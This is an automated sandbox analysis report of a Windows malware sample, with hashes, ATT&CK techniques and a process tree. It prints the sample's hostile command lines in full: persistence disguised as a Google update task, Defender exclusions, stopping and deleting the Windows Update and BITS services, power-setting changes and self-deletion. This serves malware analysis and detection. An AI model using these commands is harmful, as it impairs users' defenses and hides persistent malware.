d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
90s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
12-12-2022 09:59

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General

Target

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe

description	pid	Process	procid_target
PID 4816 created 968	4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe	27
PID 4816 created 968	4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe	27
PID 4816 created 968	4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe	27
PID 4816 created 968	4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe	27

Drops file in Drivers directory 1 IoCs

Processes:

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid	Process
3728	sc.exe
1084	sc.exe
2052	sc.exe
1144	sc.exe
4504	sc.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exepowershell.exepowershell.exe

pid	Process
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4152	powershell.exe
4152	powershell.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
3052	powershell.exe
3052	powershell.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
4816	d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	4060	powercfg.exe
Token: SeCreatePagefilePrivilege	4060	powercfg.exe
Token: SeShutdownPrivilege	4264	powercfg.exe
Token: SeCreatePagefilePrivilege	4264	powercfg.exe
Token: SeShutdownPrivilege	3816	powercfg.exe
Token: SeCreatePagefilePrivilege	3816	powercfg.exe
Token: SeShutdownPrivilege	4568	powercfg.exe
Token: SeCreatePagefilePrivilege	4568	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe
Token: 34	3052	powershell.exe
Token: 35	3052	powershell.exe
Token: 36	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe
Token: 34	3052	powershell.exe
Token: 35	3052	powershell.exe
Token: 36	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

cmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 4432 wrote to memory of 3728	4432	cmd.exe	91
PID 4432 wrote to memory of 3728	4432	cmd.exe	91
PID 5076 wrote to memory of 4060	5076	cmd.exe	92
PID 5076 wrote to memory of 4060	5076	cmd.exe	92
PID 4432 wrote to memory of 1084	4432	cmd.exe	93
PID 4432 wrote to memory of 1084	4432	cmd.exe	93
PID 5076 wrote to memory of 4264	5076	cmd.exe	94
PID 5076 wrote to memory of 4264	5076	cmd.exe	94
PID 5076 wrote to memory of 3816	5076	cmd.exe	95
PID 5076 wrote to memory of 3816	5076	cmd.exe	95
PID 4432 wrote to memory of 2052	4432	cmd.exe	96
PID 4432 wrote to memory of 2052	4432	cmd.exe	96
PID 5076 wrote to memory of 4568	5076	cmd.exe	97
PID 5076 wrote to memory of 4568	5076	cmd.exe	97
PID 4432 wrote to memory of 1144	4432	cmd.exe	98
PID 4432 wrote to memory of 1144	4432	cmd.exe	98
PID 4432 wrote to memory of 4504	4432	cmd.exe	99
PID 4432 wrote to memory of 4504	4432	cmd.exe	99
PID 4432 wrote to memory of 4672	4432	cmd.exe	100
PID 4432 wrote to memory of 4672	4432	cmd.exe	100
PID 4432 wrote to memory of 2316	4432	cmd.exe	101
PID 4432 wrote to memory of 2316	4432	cmd.exe	101
PID 4432 wrote to memory of 1340	4432	cmd.exe	102
PID 4432 wrote to memory of 1340	4432	cmd.exe	102
PID 4432 wrote to memory of 4136	4432	cmd.exe	103
PID 4432 wrote to memory of 4136	4432	cmd.exe	103
PID 4432 wrote to memory of 1704	4432	cmd.exe	104
PID 4432 wrote to memory of 1704	4432	cmd.exe	104
PID 784 wrote to memory of 4400	784	cmd.exe	107
PID 784 wrote to memory of 4400	784	cmd.exe	107

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:968
- C:\Users\Admin\AppData\Local\Temp\d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe
  "C:\Users\Admin\AppData\Local\Temp\d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4152
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3728
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1084
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2052
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1144
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4504
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4672
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2316
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1340
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4136
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1704
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
memory/1084-138-0x0000000000000000-mapping.dmp

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memory/1144-144-0x0000000000000000-mapping.dmp

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memory/1340-148-0x0000000000000000-mapping.dmp

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memory/1704-150-0x0000000000000000-mapping.dmp

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memory/2052-142-0x0000000000000000-mapping.dmp

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memory/2316-147-0x0000000000000000-mapping.dmp

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memory/3052-152-0x00007FFE99760000-0x00007FFE9A221000-memory.dmp

Filesize
10.8MB

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memory/3052-151-0x00007FFE99760000-0x00007FFE9A221000-memory.dmp

Filesize
10.8MB

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memory/3728-135-0x0000000000000000-mapping.dmp

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memory/3816-141-0x0000000000000000-mapping.dmp

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memory/4060-137-0x0000000000000000-mapping.dmp

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memory/4136-149-0x0000000000000000-mapping.dmp

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memory/4152-132-0x000002D92E940000-0x000002D92E962000-memory.dmp

Filesize
136KB

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memory/4152-134-0x00007FFE99760000-0x00007FFE9A221000-memory.dmp

Filesize
10.8MB

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memory/4152-133-0x00007FFE99760000-0x00007FFE9A221000-memory.dmp

Filesize
10.8MB

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memory/4264-140-0x0000000000000000-mapping.dmp

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memory/4400-153-0x0000000000000000-mapping.dmp

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memory/4504-145-0x0000000000000000-mapping.dmp

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memory/4568-143-0x0000000000000000-mapping.dmp

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memory/4672-146-0x0000000000000000-mapping.dmp

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